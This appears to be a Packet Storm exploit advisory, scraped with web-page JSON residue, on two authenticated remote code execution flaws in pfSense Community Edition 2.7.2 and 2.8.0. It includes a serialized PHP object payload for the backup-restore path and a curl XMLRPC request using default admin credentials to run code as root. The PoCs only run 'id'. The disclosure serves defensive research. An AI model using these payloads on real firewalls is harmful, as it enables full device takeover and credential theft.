{“lastseen”:”2026-02-16T17:44:36″,”description”:”Netgate pfSense Community Edition versions 2.7.2 and 2.8.0 appear to suffer from multiple authenticated remote code execution vulnerabilities that the vendor has written off as abusive administrator behavior but a non-issue…”,”published”:”2026-02-16T00:00:00″,”modified”:”2026-02-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Netgate pfSense Community Edition 2.7.2 \/ 2.8.0 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215645″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-69690″,”CVE-2025-69691″],”sourceData”:”# \ud83d\udd10 CVE-2025-69690 \\u0026 CVE-2025-69691\\n \\n \\u003e **Authenticated Remote Code Execution in Netgate pfSense Community Edition**\\n \\n \\n \\n \\n \\n \\n \\n —\\n \\n ## \ud83d\udccb Summary\\n \\n | Field | Details |\\n |——-|———|\\n | **Researcher** | Nelson Adhepeau ([@privlabs](https:\/\/github.com\/privlabs)) |\\n | **Vendor** | Netgate |\\n | **Product** | pfSense Community Edition |\\n | **Versions** | 2.7.2 and 2.8.0 |\\n | **Type** | Authenticated Remote Code Execution |\\n | **Disclosure** | February 2026 |\\n | **Vendor notified** | December 2, 2025 |\\n | **CVE assigned** | January 28, 2026 |\\n \\n —\\n \\n ## \u26a0\ufe0f Disclaimer\\n \\n \\u003e This research was conducted in **isolated lab environments** for educational\\n \\u003e and security awareness purposes only. All findings were responsibly disclosed\\n \\u003e to the vendor prior to publication. This advisory does **not** constitute an\\n \\u003e invitation to attack production systems. Unauthorized testing is illegal.\\n \\n —\\n \\n ## \ud83c\udfaf CVE-2025-69690\\n ### Unsafe Deserialization \u2192 RCE (pfSense CE 2.7.2)\\n \\n | Field | Value |\\n |——-|——-|\\n | **CVSS v3.1** | **8.8 (High)** |\\n | **Vector** | `AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:H\/A:H` |\\n | **CWE** | CWE-502, CWE-915 |\\n | **Attack Type** | Authenticated (Admin) |\\n | **Component** | Backup\/Restore mechanism |\\n \\n ### Description\\n \\n The pfSense configuration restore mechanism invokes `unserialize()` on\\n user-controlled data **without class whitelisting, input validation, or\\n sandboxing**.\\n \\n A crafted backup file containing a malicious serialized PHP object injects\\n arbitrary commands via the `post_reboot_commands` property, which are\\n executed through `mwexec()` with **full root privileges**.\\n \\n ### Attack Flow\\n \\n “`\\n [Attacker] \u2192 Login as admin\\n \u2192 Upload malicious .xml backup file\\n \u2192 Trigger restore\\n \u2192 pfSense calls unserialize() on attacker data\\n \u2192 post_reboot_commands executed via mwexec()\\n \u2192 [ROOT SHELL]\\n “`\\n \\n ### Affected Components\\n \\n – `config.php` \u2014 restore processing logic\\n – `pfsense_module_installer` class \u2014 unsafe deserialization target\\n – `mwexec()` \u2014 command execution sink\\n \\n ### PoC Payload\\n \\n “`php\\n O:23:\\”pfsense_module_installer\\”:1:{\\n s:17:\\”*post_reboot_commands\\”;\\n a:1:{\\n i:0;s:40:\\”\/usr\/local\/bin\/php -r ‘system(\\\\\\”id\\\\\\”);’\\”;\\n }\\n }\\n “`\\n \\n ### Impact\\n \\n – \u2705 Arbitrary OS command execution as root\\n – \u2705 Persistent backdoor installation\\n – \u2705 Complete firewall takeover\\n – \u2705 Credential and configuration exfiltration\\n \\n ### Vendor Response\\n \\n \\u003e *\\”Acknowledged. Classified as authenticated administrative abuse.\\n \\u003e No patch will be issued.\\”* \u2014 Netgate\\n \\n —\\n \\n ## \ud83c\udfaf CVE-2025-69691\\n ### XMLRPC exec_php \u2192 RCE (pfSense CE 2.8.0)\\n \\n | Field | Value |\\n |——-|——-|\\n | **CVSS v3.1** | **9.9 (Critical)** |\\n | **Vector** | `AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:H` |\\n | **CWE** | CWE-284, CWE-915 |\\n | **Attack Type** | Authenticated (remote, Basic Auth) |\\n | **Component** | XMLRPC API \u2014 `pfsense.exec_php` |\\n \\n ### Description\\n \\n pfSense CE 2.8.0 exposes an XMLRPC method `pfsense.exec_php` that\\n **executes arbitrary PHP code as root** without validation, sandboxing,\\n or any form of restriction.\\n \\n The endpoint is:\\n – \u2705 Enabled **by default**\\n – \u2705 Accessible remotely over **HTTPS**\\n – \u2705 Protected only by **Basic Authentication**\\n – \u2705 Exploitable with **default credentials** (`admin:pfsense`)\\n \\n ### Attack Flow\\n \\n “`\\n [Attacker] \u2192 Send XMLRPC request to \/xmlrpc.php\\n \u2192 Authenticate with admin:pfsense (default)\\n \u2192 Call pfsense.exec_php with arbitrary PHP\\n \u2192 Code executes as root, no sandboxing\\n \u2192 [ROOT SHELL]\\n “`\\n \\n ### Affected Components\\n \\n – `xmlrpc.php` \u2014 API entry point\\n – `pfsense.exec_php` \u2014 unsafe dynamic code execution\\n – BasicAuth layer \u2014 insufficient access control\\n \\n ### PoC\\n \\n “`bash\\n curl -k -u admin:pfsense \\\\\\n -H \\”Content-Type: text\/xml\\” \\\\\\n -d ‘\\u003cmethodCall\\u003e\\n \\u003cmethodName\\u003epfsense.exec_php\\u003c\/methodName\\u003e\\n \\u003cparams\\u003e\\n \\u003cparam\\u003e\\n \\u003cvalue\\u003e\\u003cstring\\u003esystem(\\”id\\”);\\u003c\/string\\u003e\\u003c\/value\\u003e\\n \\u003c\/param\\u003e\\n \\u003c\/params\\u003e\\n \\u003c\/methodCall\\u003e’ \\\\\\n https:\/\/\\u003ctarget\\u003e\/xmlrpc.php\\n “`\\n \\n ### Impact\\n \\n – \u2705 Full remote root compromise\\n – \u2705 Arbitrary file read\/write\\n – \u2705 Backdoor deployment\\n – \u2705 Firewall rule manipulation\\n – \u2705 Extraction of all credentials and configurations\\n \\n ### Vendor Response\\n \\n \\u003e *\\”Acknowledged. Classified as expected behavior for authenticated\\n \\u003e users. No patch planned.\\”* \u2014 Netgate\\n \\n —\\n \\n ## \ud83d\udcc5 Timeline\\n \\n “`\\n November 2025 \u2192 Vulnerabilities discovered\\n December 2, 2025 \u2192 Responsible disclosure to Netgate\\n \u2192 Vendor acknowledged, no patch planned\\n January 28, 2026 \u2192 CVE IDs assigned by MITRE\\n February 2026 \u2192 Public disclosure\\n “`\\n \\n —\\n \\n ## \ud83d\udd17 References\\n \\n – \ud83d\udd34 [CVE-2025-69690 on cve.org](https:\/\/cve.org\/CVERecord?id=CVE-2025-69690)\\n – \ud83d\udd34 [CVE-2025-69691 on cve.org](https:\/\/cve.org\/CVERecord?id=CVE-2025-69691)\\n – \ud83d\udce7 Full disclosure: `fulldisclosure@seclists.org`\\n \\n —\\n \\n ## \ud83d\udc64 Researcher\\n \\n **Nelson Adhepeau** \u2014 Independent Security Researcher\\n \\n [](https:\/\/linkedin.com\/in\/nelson-adhepeau)\\n [](https:\/\/github.com\/privlabs)\\n \\n \ud83d\udce7 privexploits@protonmail.com”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215645″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215645\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-16T17:44:36″,”description”:”Netgate pfSense Community Edition versions 2.7.2 and 2.8.0 appear to suffer from multiple authenticated remote code execution vulnerabilities that the vendor has written off as…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-41065","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n